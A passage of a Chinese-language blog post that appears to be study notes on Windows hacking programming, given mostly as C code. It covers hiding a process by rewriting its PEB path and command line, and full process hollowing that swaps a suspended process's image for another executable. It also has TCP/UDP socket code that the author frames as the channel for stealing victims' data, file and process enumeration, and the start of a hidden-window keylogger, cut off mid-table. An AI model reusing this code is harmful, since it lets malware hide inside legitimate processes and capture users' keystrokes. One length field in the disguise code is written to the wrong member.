  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;   //进程的图像文件的路径。
  UNICODE_STRING CommandLine;     //传递给进程的命令行字符串。
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

我们要修改的就是ImagePathName,和ImagePathName。

但是这两个成员实际上也是UNICODE_STRING结构体。如下。

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

所以我们修改的是ImagePathName.Buffer和ImagePathName.Buffer,可以看到是宽字符,所以我们修改的时候,也要用宽字符。

如果是找自己进程的PEB地址的方法有很多种,在windows反调试文章中已经介绍过了。

而查找指定进程的PEB就需要用到书中的一个函数NtQueryInformationProcess,将其第二个参数设置为ProcessBasicInformation,时就能返回PROCESS_BASIC_INFORMATION结构体信息,里面存储了PebBaseAddress的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#include<stdio.h>
#include<windows.h>
#include<winternl.h>

//由于本函数没有专门的库,所以需要自己定义下。
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);

BOOL DisguiseProcess(HANDLE hProcess, WCHAR* wcImagePathName, WCHAR* wcCommandLine)
{
NTQUERYINFORMATIONPROCESS myNtQueryInformationProcess;
PROCESS_BASIC_INFORMATION PBI;
PEB peb;
RTL_USER_PROCESS_PARAMETERS RUPP;
int CommandLinelenth;
int ImagePathNamelenth;

myNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &PBI, sizeof(PBI), NULL);

//获取PEB结构体
peb = *(PBI.PebBaseAddress);
//获取RTL_USER_PROCESS_PARAMETERS结构体
RUPP = *(peb.ProcessParameters);

//长度需要*2
CommandLinelenth = 2 + 2 * wcslen(wcCommandLine);
WriteProcessMemory(hProcess, RUPP.CommandLine.Buffer, wcCommandLine, CommandLinelenth, NULL);
WriteProcessMemory(hProcess, &RUPP.CommandLine.Length, &CommandLinelenth, sizeof(CommandLinelenth), NULL);

ImagePathNamelenth = 2 + 2 * wcslen(wcImagePathName);
WriteProcessMemory(hProcess, RUPP.ImagePathName.Buffer, wcImagePathName, ImagePathNamelenth, NULL);
WriteProcessMemory(hProcess, &RUPP.CommandLine.Length, &ImagePathNamelenth, sizeof(ImagePathNamelenth), NULL);

return TRUE;
}

int main()
{
HANDLE hProcess;

WCHAR CommandLine[MAX_PATH] = L"c:\\windows\\system32\\explore.exe";
WCHAR ImagePathName[MAX_PATH] = L"c:\\windows\\system32\\explore.exe";

hProcess=GetCurrentProcess();
DisguiseProcess(hProcess, ImagePathName, CommandLine);
system("pause");

}

上面的例子只能针对本进程,因为如果读取其他进程的PEB地址,用指针的方式会导致访问异常。如果想修改其他进程的话,必须用ReadProcessMemory来读取其他进程的PEB地址。

// 获取指定进程进本信息结构中的PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

傀儡进程-自我创建

书上的这种傀儡进程实际上就是自我创建,和《逆向工程核心原理》中55章内容差不多。实际上可以用来作为反调试的一种方式,但是很容易绕过。

下面的例子和书上实际上差不多,只是书上是用的shellcode,然后写入了父进程,并申请为可执行的空间。而我的例子只是把新ip变成了一个函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

#include<stdio.h>
#include<windows.h>

void TRUEProc()
{
MessageBoxA(0, "this is the true place","The_Itach1",MB_OK);
exit(0);
}

BOOL CreateMyself(CHAR* szFilePath, PVOID ptr)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT ctx = { 0 };
ZeroMemory(&pi, sizeof(pi));//用来将指定的内存块清零。
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);

CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eip = (DWORD)ptr;

SetThreadContext(pi.hThread, &ctx);

ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return TRUE;

}
int main()
{
CHAR Filename[MAX_PATH];
PVOID ptr= TRUEProc;
GetModuleFileNameA(0, Filename, MAX_PATH);
CreateMyself(Filename, ptr);
}

好家伙,运行直接被火绒杀了,火绒有点凶。

傀儡进程-pe映像切换技术

这个技术我之前也写过文章介绍过,但是没去自己实现下代码,现在来亲自实现下,包括安洵的出题都是用的现成的。

CreateProcess函数创建一个进程前会把该进程映射到虚拟内存中,但是如果我们以挂起模式创建,然后把映射的程序改为另一个程序的映射,就可以达到运行另一个程序的目的了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199

#include<stdio.h>
#include<windows.h>


BOOL ReadNewExeFile(CHAR* szNewFilePath,BYTE ** buffer)
{
DWORD dwFileSize = 0;
DWORD dwNumberOfBytesRead = 0;
HANDLE hFile;

hFile = CreateFileA(szNewFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("CreateFileA Failed !!! GetLastError: %d", GetLastError());
return FALSE;
}

dwFileSize = GetFileSize(hFile, NULL);
*buffer = new BYTE[dwFileSize];

if (ReadFile(hFile, *buffer, dwFileSize, &dwNumberOfBytesRead, NULL) == FALSE)
{
printf("ReadFile Failed !!! GetLastError: %d", GetLastError());
return FALSE;
}
return TRUE;

}


BOOL CheckImageBaseIsSame(PROCESS_INFORMATION pi, PBYTE pbuf)
{
//定义ZwUnmapViewOfSection函数所需要的东西
typedef NTSTATUS(WINAPI* PFZWUNMAPVIEWOFSECTION)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
#define STATUS_SUCCESS (0x00000000L)

PIMAGE_DOS_HEADER pIDH = NULL;
PIMAGE_OPTIONAL_HEADER pIOH = NULL;
DWORD dwRealImageBase = 0;
DWORD dwFakeImageBase = 0;
CONTEXT ctx = { 0 };
FARPROC pFunc = NULL;


//先获取real.exe的image base
pIDH = (PIMAGE_DOS_HEADER)pbuf;
pIOH = (PIMAGE_OPTIONAL_HEADER)(pbuf + pIDH->e_lfanew + 0x18);
dwRealImageBase = pIOH->ImageBase;

//获取线程上下文
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx))
{
printf("GetThreadContext() failed! %d\n", GetLastError());
return FALSE;
}

//获取fake.exe的image base
if (!ReadProcessMemory(
pi.hProcess,
(LPCVOID)(ctx.Ebx + 8), // ctx.Ebx = PEB, ctx.Ebx + 8 = PEB.ImageBase
&dwFakeImageBase,
sizeof(DWORD),
NULL))
{
printf("ReadProcessMemory() failed! %d\n", GetLastError());
return FALSE;
}

if (dwFakeImageBase == dwRealImageBase)
{
//相等则调用ZwUnmapViewOfSection的函数将Fake.exe的PE映像从虚拟内存删除
pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
if (STATUS_SUCCESS != ((PFZWUNMAPVIEWOFSECTION)pFunc)(pi.hProcess, (PVOID)dwFakeImageBase))
{
printf("ZwUnmapViewOfSection() failed!!! %d\n", GetLastError());
return FALSE;
}
}
else
{
//不相等则直接将Fake.exe的ImageBase换为Real.exe的
if (!WriteProcessMemory(
pi.hProcess,
(LPVOID)(ctx.Ebx + 8), // ctx.Ebx = PEB, ctx.Ebx + 8 = PEB.ImageBase
&dwRealImageBase,
sizeof(DWORD),
NULL))
{
printf("WriteProcessMemory() failed! %d\n", GetLastError());
return FALSE;
}
}
return TRUE;


}

BOOL ImageWrite(PROCESS_INFORMATION pi,PBYTE pbuf)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pbuf;
PIMAGE_FILE_HEADER pIFH = (PIMAGE_FILE_HEADER)(pbuf + pIDH->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)(pbuf + pIDH->e_lfanew + 0x18);
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pbuf + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
DWORD dImageSize=0;
DWORD dSectionNum=0;
LPVOID BaseAddress=NULL;

dImageSize = pIOH->SizeOfImage;
dSectionNum = pIFH->NumberOfSections;

//申请real.exe的ImageBase大小的空间,注意不是文件大小
BaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pIOH->ImageBase, dImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (BaseAddress == NULL)
{
printf("VirtualAllocEx Failed !!! %d",GetLastError());
return FALSE;
}

//写入头,头的映射无论是在内存还是在文件都是一样的。
if (WriteProcessMemory(pi.hProcess, BaseAddress, pbuf, pIOH->SizeOfHeaders, NULL) == 0)
{
printf("WriteProcessMemory Failed !!! %d",GetLastError());
return FALSE;
}

//for循环写每个节区,BaseAddress + pISH->VirtualAddress代表每个节区在内存中的位置,pbuf + pISH->PointerToRawData代表在文件中的位置
for (int i=0;i< dSectionNum;i++, pISH++)
{
if (WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)BaseAddress + pISH->VirtualAddress), pbuf + pISH->PointerToRawData, pISH->SizeOfRawData, NULL)==0)
{
printf("WriteProcessMemory Failed !!! %d", GetLastError());
return FALSE;
}
}
return TRUE;
}
BOOL ReplaceProcess(CHAR* szFakeFilePath,CHAR* szNewFilePath, PBYTE pbuf)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CHAR szFilename[MAX_PATH];
ZeroMemory(&pi, sizeof(pi));//用来将指定的内存块清零。
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
CONTEXT ctx = { 0 };

PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pbuf;
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)(pbuf + pIDH->e_lfanew + 0x18);


CreateProcessA(szFakeFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

//判断ImageBase是否重叠,第一个参数为什么是传pi的地址,是因为我们要修改pi
CheckImageBaseIsSame(pi, pbuf);
ImageWrite(pi,pbuf);

//获取上下文
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx))
{
printf("GetThreadContext() failed! %d\n", GetLastError());
return FALSE;
}

//修改为real.exe的EP
ctx.Eax = pIOH->AddressOfEntryPoint + pIOH->ImageBase;



SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, INFINITE);

if (pbuf != 0)
{
free(pbuf);
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return TRUE;

}
int main()
{
CHAR szNewExePath[MAX_PATH]="D:\\xor.exe";
CHAR szFakeExePath[MAX_PATH] = "D:\\fake.exe";
PBYTE buf;

ReadNewExeFile(szNewExePath, &buf);
ReplaceProcess(szFakeExePath,szNewExePath, buf);
}

real.exe是个弹窗,我们运行下可以看到。

第十章-传输技术

主要是网络通信相关的知识点,因为想要窃取别人电脑的信息,肯定需要网络来通信,将别人电脑的信息发送到自己电脑上。

Socket-TCP

TCP通信是需要服务端和客户端的。主要是字节流传输数据。TCP是基于链接的,每条TCP链接只能是点到点的关系。只能是一个ip一个端口。

服务端,主要的流程是WSAStartup 进行初始化–> socket 创建套接字–> bind 绑定–> listen 监听–>accept 接收请求–> send/recv 发送或接收数据,设计到很多函数,官方文档查就是了。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

#include<stdio.h>
#include<windows.h>
#include <winsock.h>
#pragma comment(lib, "Ws2_32.lib")

// 服务端套接字
SOCKET ServerSkt;
// 客户端套接字
SOCKET ClientSkt;

DWORD WINAPI ThreadProc_recv(LPVOID lpParam)
{

//接受连接请求
sockaddr_in addr = { 0 };
int addr_len = sizeof(addr);
ClientSkt = accept((SOCKET)lpParam, (sockaddr*)(&addr), &addr_len);
printf("accept success\n");

char message[MAX_PATH] = { 0 };

while (true)
{
//接收信息
int out = 0;
out = recv(ClientSkt, message, MAX_PATH, 0);
if (out <= 0)
{
continue;
}
message[out] = '\0';
printf("recv from client:%s\n", message);

}


return 0;
}

BOOL MyServer(LPCSTR sIP, int Port)
{
//WSAStartup初始化
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf("WSAStartup Failed!!!");
return false;
}
//socket 创建套接字


ServerSkt = socket(AF_INET, SOCK_STREAM, 0);
if (ServerSkt == INVALID_SOCKET)
{
printf("socket Failed!!!");
return false;
}


//配置服务器信息
sockaddr_in server_addr;

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(Port);
server_addr.sin_addr.S_un.S_addr = inet_addr(sIP);

//绑定服务器
if (bind(ServerSkt, (const sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR)
{
printf("bind Failed!!!");
return false;
}
//监听
if (listen(ServerSkt, 10) != 0)
{
printf("listen Failed!!!");
return false;
}

//创建线程来接收客户端的消息
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc_recv, (LPVOID)ServerSkt, 0, NULL);

return true;

}

int main()
{
LPCSTR mysIP = "127.0.0.1";
int myPort = 12345;
if (false == MyServer(mysIP, myPort))
{
printf("Build_Server Failed!!!");
}
printf("Build_Server success!!!\n");

char buffer[MAX_PATH] = { 0 };

while (TRUE)
{
//发送信息
gets_s(buffer, 20);
send(ClientSkt, buffer, (1 + strlen(buffer)), 0);
}

}

服务端在运行后就会处于等待连接状态,也就是停在accept的位置,等待客户端进行连接,连接成功后就可以发送和接收信息了,这时我们可以用netstat -an命令去看端口信息。

客户端,主要的流程是WSAStartup 进行初始化–> socket 创建套接字–>connect 连接到服务端–> send/recv 发送或接收数据,比服务端的步骤要少一些,而且代码也差不多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

#include<stdio.h>
#include<windows.h>
#include <winsock.h>
#pragma comment(lib, "Ws2_32.lib")

// 客户端套接字
SOCKET ClientSkt;

DWORD WINAPI ThreadProc_recv(LPVOID lpParam)
{
char message[MAX_PATH] = { 0 };

while (true)
{
//接收信息
int out = 0;
out = recv((SOCKET)lpParam, message, MAX_PATH, 0);
if (out <= 0)
{
continue;
}
message[out] = '\0';
printf("recv from server:%s\n", message);

}

return 0;
}

BOOL MyConnection(LPCSTR serverIP, int serverPort)
{
//WSAStartup初始化
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf("WSAStartup Failed!!!");
return false;
}

//socket 创建套接字

ClientSkt = socket(AF_INET, SOCK_STREAM, 0);
if (ClientSkt == INVALID_SOCKET)
{
printf("socket Failed!!!");
return false;
}

//配置服务器信息
sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(serverPort);
server_addr.sin_addr.S_un.S_addr = inet_addr(serverIP);

//连接到服务端
if (connect(ClientSkt, (const sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR)
{
printf("connect Failed!!! %d", WSAGetLastError());
return false;
}

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc_recv,(LPVOID)ClientSkt, 0, NULL);
return TRUE;

}

int main()
{
LPCSTR mysIP = "127.0.0.1";
int myPort = 12345;
if (MyConnection(mysIP, myPort))
{
printf("Connection success!!!\n");
}

char buffer[MAX_PATH] = {0};

while (TRUE)
{
gets_s(buffer, 20);
send(ClientSkt, buffer, (1 + strlen(buffer)), 0);
}

}

就在我以为万事大吉的时候,编译出来的程序一直互相无法通讯,焯,接下来就是找问题时间,在经过2个小时的努力后,终于调试发现套接字莫名奇妙会变0,造成的原因是在函数内部重新定义了全局变量。。。也是长个教训。

最后还是实现了成功通讯,下面看看效果,先打开服务端等待连接,在打开。

Socket-UDP

UDP面向文件传输数据,不能保证可靠传输,可能丢包,并且相对于TCP,没有那么安全,但相对的UPD更加快速,方便,且是一种无连接传输方式,支持一对一,一对多,多对多。

Socket-UDP的通信实现起来比TCP简单一些,只是需要改变socket创建套接字的第二个参数为SOCK_DGRAM,也就是代表UDP,然后就是需要绑定两个不同的服务器,进行互相通信。

主要的流程是WSAStartup 进行初始化–> socket 创建套接字–> bind 绑定。sendto函数需要加入发送目标的ip的端口信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

#include<stdio.h>
#include<windows.h>
#include <winsock.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma warning(disable:4996)
SOCKET SktUDP;

BOOL MySendMessage(LPCSTR sIP, int iPort)
{
sockaddr_in addr = { 0 };
int out = 0;
char message[MAX_PATH] = { 0 };

memset(message, 0, sizeof(message));

addr.sin_family = AF_INET;
addr.sin_port = htons(iPort);
addr.sin_addr.S_un.S_addr = inet_addr(sIP);

int addr_len = sizeof(addr);
//输入信息,发送信息
gets_s(message, MAX_PATH);
out = sendto(SktUDP, message, MAX_PATH, 0, (sockaddr*)&addr, addr_len);
if (out == SOCKET_ERROR)
{
printf("%d", WSAGetLastError());
return FALSE;
}
return TRUE;
}

DWORD WINAPI ThreadProc_recvform(LPVOID lpParam)
{

//接受连接请求


char message[MAX_PATH] = { 0 };

while (true)
{
sockaddr_in addr = { 0 };

int addr_len = sizeof(addr);
int out = 0;

memset(message, 0, sizeof(message));
//接收信息
out = recvfrom(SktUDP, message, MAX_PATH, 0,(sockaddr *)&addr, &addr_len);
if (out <= 0)
{
continue;
}
printf("recv from :%s\n", message);

}

return 0;
}


BOOL MySktUDP(LPCSTR sIP, int iPort)
{
//WSAStartup初始化
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf("WSAStartup Failed!!!");
return false;
}

//socket 创建套接字
SktUDP = socket(AF_INET, SOCK_DGRAM, 0);
if (SktUDP == INVALID_SOCKET)
{
printf("socket Failed!!!");
return false;
}

//配置服务器信息
sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(iPort);
server_addr.sin_addr.S_un.S_addr = inet_addr(sIP);

//绑定服务器
if (bind(SktUDP, (const sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR)
{
printf("bind Failed!!!");
return false;
}

//创建线程来接收消息
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc_recvform, NULL, 0, NULL);
}

int main()
{
char sIP[MAX_PATH] = { 0 };
int iPort = NULL;

printf("Input IP and Port:\n");
scanf("%s%d", sIP, &iPort);
getchar();
if (MySktUDP(sIP, iPort))
{
printf("bind success!!!\n");
}

printf("Input Dest IP and Dest Port:\n");
scanf("%s%d", sIP, &iPort);
getchar();
while (TRUE)
{
MySendMessage(sIP, iPort);
}

}

注意点是输入ip和端口后,需要一个getchar()。

同样可以使用netstat -an,去查看本地端口情况。

下面看看效果

功能技术

进程遍历

很常见的代码,之前APC也写过线程遍历的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#include<stdio.h>
#include<windows.h>
#include<tlhelp32.h>
#include<tchar.h>

BOOL FindAllProcess()
{
//存储进程信息的
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hp32nasp;

hp32nasp=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(Process32First(hp32nasp, &pe32)==FALSE)
{
printf("Process32First Failed!!!");
return FALSE;
}
do
{
printf("ProcessId = %d\n", pe32.th32ProcessID);
//进程名为Unicode编码,所以用_tprintf
_tprintf(L"ProcessName: %s\n", pe32.szExeFile);
}while (Process32Next(hp32nasp, &pe32));

return TRUE;

}

int main()
{
FindAllProcess();
system("pause");
}

注意下进程名是宽字符就行了。

文件遍历

之前在分析《恶代》的一个lab见到过,当时也是根据伪代码去写了下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

#include <iostream>
#include <cstring>
#include <windows.h>
#include<string.h>
#pragma warning(disable:4996)//可以使用strcm等函数

void ListFiles(char *dir)
{
HANDLE hFind;
WIN32_FIND_DATAA findData = { 0 };
LARGE_INTEGER size;
char dirNew[MAX_PATH];

// 向目录加通配符,用于搜索第一个文件
sprintf(dirNew, "%s\\*.*", dir);


hFind = FindFirstFileA(dirNew, &findData);
do
{
// 是否是文件夹,
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
//并且名称不为"."或".." ,因为每个文件夹都有当前目录,和上一层目录。
if (strcmp(findData.cFileName, ".") != 0 && strcmp(findData.cFileName, "..") != 0)
{
// 将dirNew1设置为搜索到的目录,并进行下一轮搜索
char dirNew1[MAX_PATH];
sprintf(dirNew1, "%s\\%s", dir, findData.cFileName);
ListFiles(dirNew1);
}
}
else
{
//不是文件目录,打印文件绝对路径
sprintf(dirNew, "%s\\%s",dir,findData.cFileName);
printf("%s\n", dirNew);

}
} while (FindNextFileA(hFind, &findData));

FindClose(hFind);
}

int main()
{
char dir[100] = "D:\\learning record\\学术报告\\Windows-Hack-Programming";

ListFiles(dir);
return 0;
}


按键记录

按键记录其实可以分很多种,dll注入的全局钩取,但是那种比较有缺陷,需要64位和32位的都全部钩取,不然会造成某些应用程序卡住。然后就是使用windows自带的Hook函数SetWindowsHookExA,将第一个参数设置为WH_KEYBOARD_LL,就能钩取键盘消息了,也是Lab-3-3的一个例子,感觉比书中的简单一些。然后就是书上的这种了,

SetWindowsHookExA实现,随便隐藏了下窗口,也要感谢书中提供的虚拟键值的替换表,还不错,省了很多功夫。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346

#include<stdio.h>
#include<windows.h>
#pragma warning(disable:4996)

char cTitle1[MAX_PATH] = { 0 };
struct VKeyInfo {
USHORT VKey;
LPCSTR VKname;
};
#define AddVKey(VK, VKName) {(VK), (VKName)}

static VKeyInfo vkis[] = {
AddVKey(VK_LBUTTON, "Left mouse button"),
AddVKey(VK_RBUTTON, "Right mouse button"),
AddVKey(VK_CANCEL, "Control-break processing"),
AddVKey(0x04, "Middle mouse button (three-button mouse)"),
AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
AddVKey(0x07, "Undefined"),
AddVKey(VK_BACK, " BACK"),
AddVKey(VK_TAB, "TAB key"),
AddVKey(0x0A, "Reserved"),
AddVKey(0x0B, "Reserved"),
AddVKey(VK_CLEAR, "CLEAR key"),
AddVKey(VK_RETURN, "\n"),
AddVKey(0x0E, "Undefined"),
AddVKey(0x0F, "Undefined"),
AddVKey(VK_SHIFT, "SHIFT key"),
AddVKey(VK_CONTROL, "CTRL key"),
AddVKey(VK_MENU, "ALT key"),
AddVKey(VK_PAUSE, "PAUSE key"),
AddVKey(VK_CAPITAL, "CAPS LOCK key"),
AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
AddVKey(VK_HANGUL, "IME Hangul mode"),
AddVKey(0x16, "Undefined"),
AddVKey(VK_JUNJA, "IME Junja mode"),
AddVKey(VK_FINAL, "IME final mode"),
AddVKey(VK_HANJA, "IME Hanja mode"),
AddVKey(VK_KANJI, "IME Kanji mode"),
AddVKey(0x1A, "Undefined"),
AddVKey(VK_ESCAPE, "ESC key"),
AddVKey(VK_CONVERT, "IME convert"),
AddVKey(VK_NONCONVERT, "IME nonconvert"),
AddVKey(VK_ACCEPT, "IME accept"),
AddVKey(VK_MODECHANGE, "IME mode change request"),
AddVKey(VK_SPACE, " "),
AddVKey(VK_PRIOR, "PAGE UP key"),
AddVKey(VK_NEXT, "PAGE DOWN key"),
AddVKey(VK_END, "END key"),
AddVKey(VK_HOME, "HOME key"),
AddVKey(VK_LEFT, "LEFT ARROW key"),
AddVKey(VK_UP, "UP ARROW key"),
AddVKey(VK_RIGHT, "RIGHT ARROW key"),
AddVKey(VK_DOWN, "DOWN ARROW key"),
AddVKey(VK_SELECT, "SELECT key"),
AddVKey(VK_PRINT, "PRINT key"),
AddVKey(VK_EXECUTE, "EXECUTE key"),
AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
AddVKey(VK_INSERT, "INSERT key"),
AddVKey(VK_DELETE, "DEL key"),
AddVKey(VK_HELP, "HELP key"),
AddVKey(0x30, "0"),
AddVKey(0x31, "1"),
AddVKey(0x32, "2"),
AddVKey(0x33, "3"),
AddVKey(0x34, "4"),
AddVKey(0x35, "5"),
AddVKey(0x36, "6"),
AddVKey(0x37, "7"),
AddVKey(0x38, "8"),
AddVKey(0x39, "9"),
AddVKey(0x3A, "Undefined"),
AddVKey(0x3B, "Undefined"),
AddVKey(0x3C, "Undefined"),
AddVKey(0x3D, "Undefined"),
AddVKey(0x3E, "Undefined"),
AddVKey(0x3F, "Undefined"),
AddVKey(0x40, "Undefined"),
AddVKey(0x41, "A"),
AddVKey(0x42, "B"),
AddVKey(0x43, "C"),
AddVKey(0x44, "D"),
AddVKey(0x45, "E"),
AddVKey(0x46, "F"),
AddVKey(0x47, "G"),
AddVKey(0x48, "H"),
AddVKey(0x49, "I"),
AddVKey(0x4A, "J"),
AddVKey(0x4B, "K"),
AddVKey(0x4C, "L"),
AddVKey(0x4D, "M"),
AddVKey(0x4E, "N"),
AddVKey(0x4F, "O"),
AddVKey(0x50, "P"),
AddVKey(0x51, "Q"),
AddVKey(0x52, "R"),
AddVKey(0x53, "S"),
AddVKey(0x54, "T"),
AddVKey(0x55, "U"),
AddVKey(0x56, "V"),
AddVKey(0x57, "W"),
AddVKey(0x58, "X"),
AddVKey(0x59, "Y"),
AddVKey(0x5A, "Z"),

AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
